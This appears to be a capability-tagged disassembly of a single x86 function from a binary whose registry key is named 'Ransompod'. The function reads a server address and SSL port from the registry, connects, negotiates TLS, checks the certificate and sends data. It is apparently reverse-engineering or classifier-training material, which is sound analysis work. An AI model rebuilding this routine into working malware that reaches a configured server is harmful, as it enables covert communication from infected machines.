Function at 0x413e20
Capabilities:
Connect socket
Query or enumerate registry value
Resolve dns
Resolve function by parsing pe exports
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x48c
mov eax, dword [0x63c00c]
xor eax, esp
mov dword [esp + 0x488], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [esp + 0x6c], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x68], eax
lea eax, [esp + 0x10]
push eax
push 0x101
push 0
push str.SoftwareRansompod
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x60], edx
mov dword [esp + 0x5c], ecx
mov dword [esp + 0x30], 0
mov dword [esp + 0x70], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x413ebd
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push str.ServerAddress
push dword [esp + 0x24]
call esi
mov eax, dword [esp + 0x18]
inc eax
push eax
call fcn.0045669c
mov ebx, eax
add esp, 4
mov dword [esp + 0x60], ebx
test ebx, ebx
jne 0x413f13
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebx + 2]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x18]
inc eax
push eax
push 0
push ebx
call fcn.0044f970
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push ebx
push 0
push 0
push str.ServerAddress
push dword [esp + 0x24]
call esi
test eax, eax
je 0x413f6a
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.004533f0
mov eax, 2
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 4
push eax
lea eax, [esp + 0x48]
push eax
push 0
push 0
push str.ServerPortSSL
push dword [esp + 0x24]
call esi
test eax, eax
je 0x413fbc
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.004533f0
mov eax, 3
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 4
push eax
lea eax, [esp + 0x44]
push eax
push 0
push 0
push 0x46d4f4
push dword [esp + 0x24]
call esi
test eax, eax
je 0x413fe6
cmp eax, 2
jne 0x413f8f
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x10], 0
call fcn.00413cd0
test eax, eax
jne 0x414024
push ebx
call fcn.004533f0
mov eax, 4
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
mov edx, 0x642c38
call fcn.00414af0
test eax, eax
je 0x41406f
mov eax, dword [0x642bf4]
test eax, eax
je 0x41404c
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x642bf4], 0
push ebx
call fcn.004533f0
mov eax, 5
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
push 0xa
lea eax, [esp + 0xa0]
mov dword [esp + 0x18], 0
push eax
push dword [esp + 0x4c]
call fcn.00456491
add esp, 0xc
mov dword [esp + 0x7c], 0
lea eax, [esp + 0x14]
mov dword [esp + 0x80], 2
xorps xmm0, xmm0
mov dword [esp + 0x84], 1
movlpd qword [esp + 0x8c], xmm0
push eax
lea eax, [esp + 0x80]
movlpd qword [esp + 0x98], xmm0
push eax
lea eax, [esp + 0xa4]
mov dword [esp + 0x90], 6
push eax
push ebx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x414134
mov edi, dword [esp + 0x14]
test edi, edi
je 0x414134
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esp + 0xc], eax
nop dword [eax]
push dword [edi + 0xc]
push dword [edi + 8]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x41412d
push dword [edi + 0x10]
push dword [edi + 0x18]
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x414180
push esi
call dword [esp + 0x10]
mov edi, dword [edi + 0x1c]
test edi, edi
jne 0x414100
mov eax, dword [0x642bf4]
test eax, eax
je 0x41414e
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x642bf4], 0
mov eax, dword [0x642bf8]
push 0x642c38
mov eax, dword [eax + 0x10]
call eax
push ebx
call fcn.004533f0
mov eax, 6
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
cmp dword [esp + 0x40], 1
mov ecx, 0x8c11c
mov eax, 0xc11c
mov dword [esp + 0x3c], 0
cmove eax, ecx
mov dword [esp + 0x38], 2
lea ecx, [esp + 0x34]
mov dword [esp + 0x34], 0
mov dword [esp + 0x78], ecx
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x2c]
mov dword [esp + 0x78], 1
push ecx
lea ecx, [esp + 0x78]
mov dword [esp + 0x78], 0
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push 0x10
push 0
push eax
mov eax, dword [0x642bf8]
push ebx
push 0
push 0x642c38
mov eax, dword [eax + 0x18]
call eax
mov edx, dword [sym.imp.WS2_32.dll_send]
mov dword [esp + 0x64], edx
cmp eax, 0x90312
jne 0x414259
mov eax, dword [esp + 0x34]
test eax, eax
je 0x414240
mov ecx, dword [esp + 0x3c]
test ecx, ecx
je 0x414240
push 0
push eax
push ecx
push esi
call edx
cmp eax, 0xffffffff
je 0x4142bd
test eax, eax
je 0x4142bd
mov eax, dword [0x642bf8]
push dword [esp + 0x3c]
mov eax, dword [eax + 0x40]
call eax
mov dword [esp + 0x3c], 0
lea eax, [esp + 0x9c]
mov ecx, esi
push eax
lea eax, [esp + 0x24]
push 1
push eax
call fcn.00414be0
add esp, 0xc
test eax, eax
je 0x41454e
cmp eax, 0x80090322
jne 0x41432b
push esi
call dword [esp + 0x10]
mov eax, dword [0x642bf4]
test eax, eax
je 0x41428b
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x642bf4], 0
mov eax, dword [0x642bf8]
push 0x642c38
mov eax, dword [eax + 0x10]
call eax
push ebx
call fcn.004533f0
mov eax, 7
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
mov eax, dword [0x642bf8]
push dword [esp + 0x3c]
mov eax, dword [eax + 0x40]
call eax
lea eax, [esp + 0x20]
push eax
mov eax, dword [0x642bf8]
mov eax, dword [eax + 0x24]
call eax
push esi
call dword [esp + 0x10]
mov eax, dword [0x642bf4]
test eax, eax
je 0x4142f9
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x642bf4], 0
mov eax, dword [0x642bf8]
push 0x642c38
mov eax, dword [eax + 0x10]
call eax
push ebx
call fcn.004533f0
mov eax, 0xe
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
cmp eax, 0x80090325
jne 0x414383
push esi
call dword [esp + 0x10]
mov eax, dword [0x642bf4]
test eax, eax
je 0x414351
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x642bf4], 0
mov eax, dword [0x642bf8]
push 0x642c38
mov eax, dword [eax + 0x10]
call eax
push ebx
call fcn.004533f0
mov eax, 8
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
cmp eax, 0x80090328
jne 0x4143db
push esi
call dword [esp + 0x10]
mov eax, dword [0x642bf4]
test eax, eax
je 0x4143a9
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x642bf4], 0
mov eax, dword [0x642bf8]
push 0x642c38
mov eax, dword [eax + 0x10]
call eax
push ebx
call fcn.004533f0
mov eax, 9
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
cmp eax, 0x80090327
jne 0x414433
push esi
call dword [esp + 0x10]
mov eax, dword [0x642bf4]
test eax, eax
je 0x414401
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x642bf4], 0
mov eax, dword [0x642bf8]
push 0x642c38
mov eax, dword [eax + 0x10]
call eax
push ebx
call fcn.004533f0
mov eax, 0xa
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
cmp eax, 0x80090326
je 0x4144fd
cmp eax, 0x80090331
je 0x4144fd
cmp eax, 0x80090302
jne 0x4144a1
push esi
call dword [esp + 0x10]
mov eax, dword [0x642bf4]
test eax, eax
je 0x41446f
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x642bf4], 0
mov eax, dword [0x642bf8]
push 0x642c38
mov eax, dword [eax + 0x10]
call eax
push ebx
call fcn.004533f0
mov eax, 0xc
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
cmp eax, 0x80092012
jne 0x4142da
push esi
call dword [esp + 0x10]
mov eax, dword [0x642bf4]
test eax, eax
je 0x4144cb
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x642bf4], 0
mov eax, dword [0x642bf8]
push 0x642c38
mov eax, dword [eax + 0x10]
call eax
push ebx
call fcn.004533f0
mov eax, 0xd
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
push esi
call dword [esp + 0x10]
mov eax, dword [0x642bf4]
test eax, eax
je 0x41451c
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x642bf4], 0
mov eax, dword [0x642bf8]
push 0x642c38
mov eax, dword [eax + 0x10]
call eax
push ebx
call fcn.004533f0
mov eax, 0xb
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x1c]
push eax
push 0x53
lea eax, [esp + 0x28]
push eax
mov eax, dword [0x642bf8]
mov eax, dword [eax + 0x2c]
call eax
test eax, eax
je 0x4145c8
mov eax, dword [0x642bf8]
push 0x642c38
mov eax, dword [eax + 0x10]
call eax
lea eax, [esp + 0x20]
push eax
mov eax, dword [0x642bf8]
mov eax, dword [eax + 0x24]
call eax
push ebx
call fcn.004533f0
add esp, 4
push esi
call dword [esp + 0x10]
mov eax, dword [0x642bf4]
test eax, eax
je 0x4145ae
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x642bf4], 0
mov eax, 0xf
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
mov edi, dword [esp + 0x1c]
push 0x7d1
call fcn.0045669c
add esp, 4
mov dword [esp + 0x50], eax
test eax, eax
jne 0x414641
mov eax, dword [0x642bf8]
push 0x642c38
mov eax, dword [eax + 0x10]
call eax
lea eax, [esp + 0x20]
push eax
mov eax, dword [0x642bf8]
mov eax, dword [eax + 0x24]
call eax
push ebx
call fcn.004533f0
add esp, 4
push esi
call dword [esp + 0x10]
mov eax, dword [0x642bf4]
test eax, eax
je 0x414627
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x642bf4], 0
mov eax, 0x10
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
push 0x7d1
push 0
push eax
call fcn.0044f970
add esp, 0xc
lea eax, [esp + 0xa8]
push 0x3e8
push eax
mov eax, dword [edi + 0xc]
push 0x20000003
add eax, 0x30
push eax
push dword [edi]
call dword [sym.imp.CRYPT32.dll_CertNameToStrA]
test eax, eax
je 0x414694
push 0x3e8
lea eax, [esp + 0xac]
push eax
push 0x7d0
push dword [esp + 0x5c]
call fcn.0045675a
add esp, 0x10
push 0x6329d0
push dword [esp + 0x54]
xor edi, edi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov edx, eax
test edx, edx
je 0x414714
mov ecx, edx
lea eax, [ecx + 1]
mov dword [esp + 0x14], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4146b4
sub ecx, dword [esp + 0x14]
cmp ecx, 3
jbe 0x414714
add edx, 3
mov ecx, edx
lfence
mov dword [esp + 0x28], edx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4146d3
sub ecx, edx
je 0x414714
xor eax, eax
test ecx, ecx
je 0x4146fe
mov ebx, dword [esp + 0x28]
mov dl, byte [eax + ebx]
cmp dl, 0x2c
je 0x4146fa
test dl, dl
je 0x4146fa
inc eax
inc edi
cmp eax, ecx
jb 0x4146e8
mov ebx, dword [esp + 0x60]
lea eax, [edi + 0xa]
push eax
call fcn.0045669c
mov ecx, eax
add esp, 4
mov dword [esp + 0x14], ecx
test ecx, ecx
jne 0x414780
push ebx
call fcn.004533f0
add esp, 4
push dword [esp + 0x50]
call fcn.004533f0
mov eax, dword [0x642bf8]
add esp, 4
mov eax, dword [eax + 0x10]
push 0x642c38
call eax
lea eax, [esp + 0x20]
push eax
mov eax, dword [0x642bf8]
mov eax, dword [eax + 0x24]
call eax
push esi
call dword [esp + 0x10]
mov eax, dword [0x642bf4]
test eax, eax
je 0x414766
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x642bf4], 0
mov eax, 0x11
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
lea eax, [edi + 0xa]
push eax
push 0
push ecx
lfence
call fcn.0044f970
add esp, 0xc
lea eax, [edi + 1]
push edi
push dword [esp + 0x2c]
push eax
push dword [esp + 0x20]
call fcn.0045675a
mov edx, ebx
add esp, 0x10
xor ecx, ecx
mov dword [esp + 0x28], ecx
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x4147b2
sub edx, ecx
lea eax, [edx - 7]
cmp eax, 8
ja 0x41480b
xor edi, edi
test edx, edx
je 0x414801
xor eax, eax
nop dword [eax + eax]
mov cl, byte [edi + ebx]
cmp cl, 0x30
jl 0x4147dd
cmp cl, 0x39
jle 0x4147e2
cmp cl, 0x2e
jne 0x41480b
inc eax
cmp cl, 0x2e
cmovne eax, dword [esp + 0x28]
inc edi
mov dword [esp + 0x28], eax
cmp edi, edx
jb 0x4147d0
mov dword [esp + 0x28], 0x64
cmp eax, 3
je 0x414813
mov dword [esp + 0x28], 0x3e8
jmp 0x414813
mov dword [esp + 0x28], 0xc8
cmp dword [esp + 0x40], 0
mov edx, ebx
mov ecx, dword [esp + 0x1c]
jne 0x414824
push 0
jmp 0x414829
push 0x3100
call fcn.004154d0
add esp, 4
mov edi, eax
push dword [esp + 0x1c]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
mov edx, dword [esp + 0x44]
lea eax, [esp + 0x5c]
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x20], 0
push eax
push ecx
push esi
push dword [esp + 0x58]
mov ecx, ebx
push dword [esp + 0x60]
push dword [esp + 0x40]
push dword [esp + 0x30]
call fcn.00414f90
add esp, 0x20
test eax, eax
je 0x4148ef
mov eax, dword [0x642bf8]
push 0x642c38
mov eax, dword [eax + 0x10]
call eax
lea eax, [esp + 0x20]
push eax
mov eax, dword [0x642bf8]
mov eax, dword [eax + 0x24]
call eax
push ebx
call fcn.004533f0
add esp, 4
push dword [esp + 0x14]
call fcn.004533f0
add esp, 4
push dword [esp + 0x50]
call fcn.004533f0
add esp, 4
push esi
call dword [esp + 0x10]
mov eax, dword [0x642bf4]
test eax, eax
je 0x4148d5
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x642bf4], 0
mov eax, 0x12
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x4c]
mov dword [esp + 0x4c], 1
mov dword [esp + 0xa4], eax
lea eax, [esp + 0x9c]
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0xa4], 2
push eax
mov eax, dword [0x642bf8]
mov dword [esp + 0xa4], 4
mov dword [esp + 0x40], 1
mov dword [esp + 0x3c], 0
mov eax, dword [eax + 0x28]
call eax
test eax, eax
js 0x414a04
lea eax, [esp + 0x9c]
mov dword [esp + 0xa4], 0
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x64]
mov dword [esp + 0xa4], 2
push eax
lea eax, [esp + 0x3c]
mov dword [esp + 0xa4], 0
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x44], 1
push eax
push 0
push 0
push 0x10
push 0
push 0xc11c
push 0
push eax
mov eax, dword [0x642bf8]
mov dword [esp + 0x60], 0
push 0x642c38
mov eax, dword [eax + 0x18]
call eax
test eax, eax
js 0x414a04
mov eax, dword [esp + 0xa4]
mov dword [esp + 0x48], eax
test eax, eax
je 0x414a04
mov ecx, dword [esp + 0x9c]
test ecx, ecx
je 0x414a04
push 0
push ecx
push eax
push esi
call dword [esp + 0x74]
cmp eax, 0xffffffff
je 0x4149fe
test eax, eax
je 0x4149fe
mov eax, dword [0x642bf8]
push dword [esp + 0x48]
mov eax, dword [eax + 0x40]
call eax
jmp 0x414a04
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
lea eax, [esp + 0x20]
push eax
mov eax, dword [0x642bf8]
mov eax, dword [eax + 0x24]
call eax
push esi
call dword [esp + 0x10]
mov eax, dword [0x642bf8]
push 0x642c38
mov eax, dword [eax + 0x10]
call eax
lea eax, [esp + 0x20]
push eax
mov eax, dword [0x642bf8]
mov eax, dword [eax + 0x24]
call eax
push esi
call dword [esp + 0x10]
mov eax, dword [0x642bf4]
test eax, eax
je 0x414a55
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x642bf4], 0
push ebx
call fcn.004533f0
add esp, 4
push dword [esp + 0x14]
call fcn.004533f0
add esp, 4
push dword [esp + 0x50]
call fcn.004533f0
mov eax, dword [esp + 0x6c]
add esp, 4
mov esi, dword [esp + 0x5c]
push 0x6329e8
push esi
mov dword [eax], esi
call fcn.0044f4b0
add esp, 8
test eax, eax
jne 0x414ac3
push str._r_n_r_n
push esi
call fcn.0044f4b0
add esp, 8
test eax, eax
je 0x414aa9
add eax, 4
jne 0x414ac3
mov eax, 0x13
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x488]
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x6c]
neg edi
sbb edi, edi
and edi, 0x14
mov dword [ecx], eax
mov eax, edi
mov ecx, dword [esp + 0x494]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0044daed
mov esp, ebp
pop ebp
ret